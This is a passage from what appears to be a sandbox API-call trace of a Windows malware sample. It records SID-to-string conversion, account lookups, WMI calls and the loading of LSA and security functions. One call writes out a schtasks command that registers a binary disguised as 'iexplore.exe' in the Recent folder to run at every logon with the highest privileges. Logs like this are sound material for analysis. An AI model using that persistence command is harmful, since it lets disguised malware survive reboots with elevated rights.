0x2b8b2c [0151.918] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0151.918] malloc (_Size=0x18) returned 0x2af180 [0151.918] malloc (_Size=0x18) returned 0x2af1a0 [0151.918] SysStringLen (param_1="S-1-5-21") returned 0x8 [0151.918] SysStringLen (param_1="-") returned 0x1 [0151.918] memcpy (in: _Dst=0x142578, _Src=0x142398, _Size=0x12 | out: _Dst=0x142578) returned 0x142578 [0151.918] memcpy (in: _Dst=0x142588, _Src=0x142518, _Size=0x4 | out: _Dst=0x142588) returned 0x142588 [0151.918] free (_Block=0x2af280) [0151.918] free (_Block=0x2af180) [0151.918] malloc (_Size=0x18) returned 0x2af180 [0151.918] malloc (_Size=0x18) returned 0x2af280 [0151.918] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0151.918] SysStringLen (param_1="4219442223") returned 0xa [0151.918] memcpy (in: _Dst=0x118038, _Src=0x142578, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0151.919] memcpy (in: _Dst=0x11804a, _Src=0x142398, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0151.919] free (_Block=0x2af1a0) [0151.919] free (_Block=0x2af180) [0151.919] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0151.919] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0151.919] malloc (_Size=0x18) returned 0x2af180 [0151.919] malloc (_Size=0x18) returned 0x2af1a0 [0151.919] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0151.919] SysStringLen (param_1="-") returned 0x1 [0151.919] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0151.919] memcpy (in: _Dst=0x1182de, _Src=0x142578, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0151.919] free (_Block=0x2af280) [0151.919] free (_Block=0x2af180) [0151.919] malloc (_Size=0x18) returned 0x2af180 [0151.919] malloc (_Size=0x18) returned 0x2af280 [0151.919] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0151.919] SysStringLen (param_1="4223814209") returned 0xa [0151.919] memcpy (in: _Dst=0x12dc48, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0151.919] memcpy (in: _Dst=0x12dc70, _Src=0x142578, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0151.919] free (_Block=0x2af1a0) [0151.919] free (_Block=0x2af180) [0151.919] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0151.919] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0151.919] malloc (_Size=0x18) returned 0x2af180 [0151.919] malloc (_Size=0x18) returned 0x2af1a0 [0151.919] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0151.919] SysStringLen (param_1="-") returned 0x1 [0151.920] memcpy (in: _Dst=0xd8e08, _Src=0x12dc48, _Size=0x3e | out: _Dst=0xd8e08) returned 0xd8e08 [0151.920] memcpy (in: _Dst=0xd8e44, _Src=0x142578, _Size=0x4 | out: _Dst=0xd8e44) returned 0xd8e44 [0151.920] free (_Block=0x2af280) [0151.920] free (_Block=0x2af180) [0151.920] malloc (_Size=0x18) returned 0x2af180 [0151.920] malloc (_Size=0x18) returned 0x2af280 [0151.920] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0151.920] SysStringLen (param_1="3835049652") returned 0xa [0151.920] memcpy (in: _Dst=0x12dc48, _Src=0xd8e08, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0151.920] memcpy (in: _Dst=0x12dc86, _Src=0x142578, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0151.920] free (_Block=0x2af1a0) [0151.920] free (_Block=0x2af180) [0151.920] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0151.920] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0151.920] malloc (_Size=0x18) returned 0x2af180 [0151.920] malloc (_Size=0x18) returned 0x2af1a0 [0151.920] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0151.920] SysStringLen (param_1="-") returned 0x1 [0151.920] memcpy (in: _Dst=0xd8e08, _Src=0x12dc48, _Size=0x54 | out: _Dst=0xd8e08) returned 0xd8e08 [0151.920] memcpy (in: _Dst=0xd8e5a, _Src=0x142578, _Size=0x4 | out: _Dst=0xd8e5a) returned 0xd8e5a [0151.920] free (_Block=0x2af280) [0151.920] free (_Block=0x2af180) [0151.920] malloc (_Size=0x18) returned 0x2af180 [0151.921] malloc (_Size=0x18) returned 0x2af280 [0151.921] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0151.921] SysStringLen (param_1="1000") returned 0x4 [0151.921] memcpy (in: _Dst=0x12dc48, _Src=0xd8e08, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0151.921] memcpy (in: _Dst=0x12dc9c, _Src=0x142578, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0151.921] free (_Block=0x2af1a0) [0151.921] free (_Block=0x2af180) [0151.921] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0151.921] malloc (_Size=0x5e) returned 0x2b0ad0 [0151.921] free (_Block=0x2af280) [0151.921] malloc (_Size=0x18) returned 0x2af280 [0151.921] free (_Block=0x2b0ad0) [0151.921] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0151.922] GetLastError () returned 0x7a [0151.922] malloc (_Size=0x14) returned 0x2af180 [0151.922] malloc (_Size=0x16) returned 0x2af1a0 [0151.922] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca84, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0151.923] malloc (_Size=0x18) returned 0x2af260 [0151.923] malloc (_Size=0x18) returned 0x2af240 [0151.923] free (_Block=0x2af180) [0151.923] free (_Block=0x2af1a0) [0151.923] free (_Block=0x2b8710) [0151.923] free (_Block=0x2af240) [0151.923] free (_Block=0x2af260) [0151.923] free (_Block=0x2af280) [0151.923] free (_Block=0x2b8b10) [0151.924] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0151.924] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0151.924] GetLastError () returned 0x7a [0151.924] malloc (_Size=0x2c) returned 0x2b8b50 [0151.924] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0151.924] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.924] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0151.924] malloc (_Size=0x1c) returned 0x2b8710 [0151.924] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.924] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0151.924] malloc (_Size=0x18) returned 0x2af280 [0151.924] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0151.924] malloc (_Size=0x18) returned 0x2af260 [0151.924] malloc (_Size=0x18) returned 0x2af240 [0151.924] SysStringLen (param_1="S-1-") returned 0x4 [0151.924] SysStringLen (param_1="5") returned 0x1 [0151.924] memcpy (in: _Dst=0x142398, _Src=0x142518, _Size=0xa | out: _Dst=0x142398) returned 0x142398 [0151.924] memcpy (in: _Dst=0x1423a0, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423a0) returned 0x1423a0 [0151.924] free (_Block=0x2af280) [0151.924] free (_Block=0x2af260) [0151.924] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0151.924] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0151.924] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0151.924] malloc (_Size=0x18) returned 0x2af260 [0151.924] malloc (_Size=0x18) returned 0x2af280 [0151.924] SysStringLen (param_1="S-1-5") returned 0x5 [0151.924] SysStringLen (param_1="-") returned 0x1 [0151.925] memcpy (in: _Dst=0x142578, _Src=0x142398, _Size=0xc | out: _Dst=0x142578) returned 0x142578 [0151.925] memcpy (in: _Dst=0x142582, _Src=0x142518, _Size=0x4 | out: _Dst=0x142582) returned 0x142582 [0151.925] free (_Block=0x2af240) [0151.925] free (_Block=0x2af260) [0151.925] malloc (_Size=0x18) returned 0x2af260 [0151.925] malloc (_Size=0x18) returned 0x2af240 [0151.925] SysStringLen (param_1="S-1-5-") returned 0x6 [0151.925] SysStringLen (param_1="21") returned 0x2 [0151.925] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xe | out: _Dst=0x142518) returned 0x142518 [0151.925] memcpy (in: _Dst=0x142524, _Src=0x142398, _Size=0x6 | out: _Dst=0x142524) returned 0x142524 [0151.925] free (_Block=0x2af280) [0151.925] free (_Block=0x2af260) [0151.925] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0151.925] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0151.925] malloc (_Size=0x18) returned 0x2af260 [0151.925] malloc (_Size=0x18) returned 0x2af280 [0151.925] SysStringLen (param_1="S-1-5-21") returned 0x8 [0151.925] SysStringLen (param_1="-") returned 0x1 [0151.925] memcpy (in: _Dst=0x142398, _Src=0x142518, _Size=0x12 | out: _Dst=0x142398) returned 0x142398 [0151.925] memcpy (in: _Dst=0x1423a8, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423a8) returned 0x1423a8 [0151.925] free (_Block=0x2af240) [0151.925] free (_Block=0x2af260) [0151.925] malloc (_Size=0x18) returned 0x2af260 [0151.925] malloc (_Size=0x18) returned 0x2af240 [0151.925] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0151.925] SysStringLen (param_1="4219442223") returned 0xa [0151.926] memcpy (in: _Dst=0x118038, _Src=0x142398, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0151.926] memcpy (in: _Dst=0x11804a, _Src=0x142518, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0151.926] free (_Block=0x2af280) [0151.926] free (_Block=0x2af260) [0151.926] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0151.926] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0151.926] malloc (_Size=0x18) returned 0x2af260 [0151.926] malloc (_Size=0x18) returned 0x2af280 [0151.926] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0151.926] SysStringLen (param_1="-") returned 0x1 [0151.926] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0151.926] memcpy (in: _Dst=0x1182de, _Src=0x142398, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0151.926] free (_Block=0x2af240) [0151.926] free (_Block=0x2af260) [0151.926] malloc (_Size=0x18) returned 0x2af260 [0151.926] malloc (_Size=0x18) returned 0x2af240 [0151.926] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0151.926] SysStringLen (param_1="4223814209") returned 0xa [0151.926] memcpy (in: _Dst=0xd8e08, _Src=0x1182b8, _Size=0x2a | out: _Dst=0xd8e08) returned 0xd8e08 [0151.926] memcpy (in: _Dst=0xd8e30, _Src=0x142398, _Size=0x16 | out: _Dst=0xd8e30) returned 0xd8e30 [0151.927] free (_Block=0x2af280) [0151.927] free (_Block=0x2af260) [0151.927] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0151.927] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0151.927] malloc (_Size=0x18) returned 0x2af260 [0151.927] malloc (_Size=0x18) returned 0x2af280 [0151.927] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0151.927] SysStringLen (param_1="-") returned 0x1 [0151.927] memcpy (in: _Dst=0x12dc48, _Src=0xd8e08, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0151.927] memcpy (in: _Dst=0x12dc84, _Src=0x142398, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0151.927] free (_Block=0x2af240) [0151.927] free (_Block=0x2af260) [0151.927] malloc (_Size=0x18) returned 0x2af260 [0151.927] malloc (_Size=0x18) returned 0x2af240 [0151.927] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0151.927] SysStringLen (param_1="3835049652") returned 0xa [0151.927] memcpy (in: _Dst=0xd8e08, _Src=0x12dc48, _Size=0x40 | out: _Dst=0xd8e08) returned 0xd8e08 [0151.927] memcpy (in: _Dst=0xd8e46, _Src=0x142398, _Size=0x16 | out: _Dst=0xd8e46) returned 0xd8e46 [0151.927] free (_Block=0x2af280) [0151.928] free (_Block=0x2af260) [0151.928] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0151.928] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0151.928] malloc (_Size=0x18) returned 0x2af260 [0151.928] malloc (_Size=0x18) returned 0x2af280 [0151.928] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0151.928] SysStringLen (param_1="-") returned 0x1 [0151.928] memcpy (in: _Dst=0x12dc48, _Src=0xd8e08, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0151.928] memcpy (in: _Dst=0x12dc9a, _Src=0x142398, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0151.928] free (_Block=0x2af240) [0151.928] free (_Block=0x2af260) [0151.928] malloc (_Size=0x18) returned 0x2af260 [0151.928] malloc (_Size=0x18) returned 0x2af240 [0151.928] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0151.928] SysStringLen (param_1="1000") returned 0x4 [0151.928] memcpy (in: _Dst=0xd8e08, _Src=0x12dc48, _Size=0x56 | out: _Dst=0xd8e08) returned 0xd8e08 [0151.928] memcpy (in: _Dst=0xd8e5c, _Src=0x142398, _Size=0xa | out: _Dst=0xd8e5c) returned 0xd8e5c [0151.928] free (_Block=0x2af280) [0151.928] free (_Block=0x2af260) [0151.928] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0151.928] malloc (_Size=0x5e) returned 0x2b0ad0 [0151.929] free (_Block=0x2af240) [0151.929] malloc (_Size=0x18) returned 0x2af240 [0151.929] free (_Block=0x2b0ad0) [0151.929] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0151.930] GetLastError () returned 0x7a [0151.930] malloc (_Size=0x14) returned 0x2af260 [0151.930] malloc (_Size=0x16) returned 0x2af280 [0151.930] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca94, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0151.931] malloc (_Size=0x18) returned 0x2af1a0 [0151.931] malloc (_Size=0x18) returned 0x2af180 [0151.931] free (_Block=0x2af260) [0151.931] free (_Block=0x2af280) [0151.931] free (_Block=0x2b8710) [0151.931] free (_Block=0x2af180) [0151.931] free (_Block=0x2af1a0) [0151.931] free (_Block=0x2af240) [0151.931] free (_Block=0x2b8b50) [0151.932] malloc (_Size=0x48) returned 0x2ad6d0 [0151.932] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0151.939] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0151.939] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0151.939] malloc (_Size=0x18) returned 0x2af240 [0151.939] CreateEnvironmentBlock () returned 0x1 [0151.948] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0151.948] malloc (_Size=0x18) returned 0x2af1a0 [0151.948] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"iexplore\" /sc ONLOGON /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x189cb0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"iexplore\" /sc ONLOGON /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xc94, dwThreadId=0xc6c)) returned 1 [0151.955] CloseHandle (hObject=0x300) returned 1 [0151.955] CloseHandle (hObject=0x2fc) returned 1 [0151.956] free (_Block=0x2af1a0) [0151.956] DestroyEnvironmentBlock () returned 0x1 [0151.956] malloc (_Size=0x48) returned 0x2ad680 [0151.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x27577fe0, dwHighDateTime=0x1d8a92a)) [0151.956] SetEvent (hEvent=0x1f0) returned 1 [0151.956] CloseHandle (hObject=0x244) returned 1 [0151.956] CloseHandle (hObject=0x248) returned 1 [0152.076] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0152.076] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0152.076] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0153.001] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0153.001] SetLastError (dwErrCode=0x0) [0153.001] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0153.002] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0153.002] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0153.002] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0153.002] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0153.005] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0153.005] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0153.006] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0153.006] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0153.006] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0153.006] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0153.006] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0153.008] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0153.008] GetCurrentThread () returned 0xfffffffffffffffe [0153.008] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x1ec) returned 1 [0153.008] malloc (_Size=0xd8) returned 0x2b35c0 [0153.008] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0153.009] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0153.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 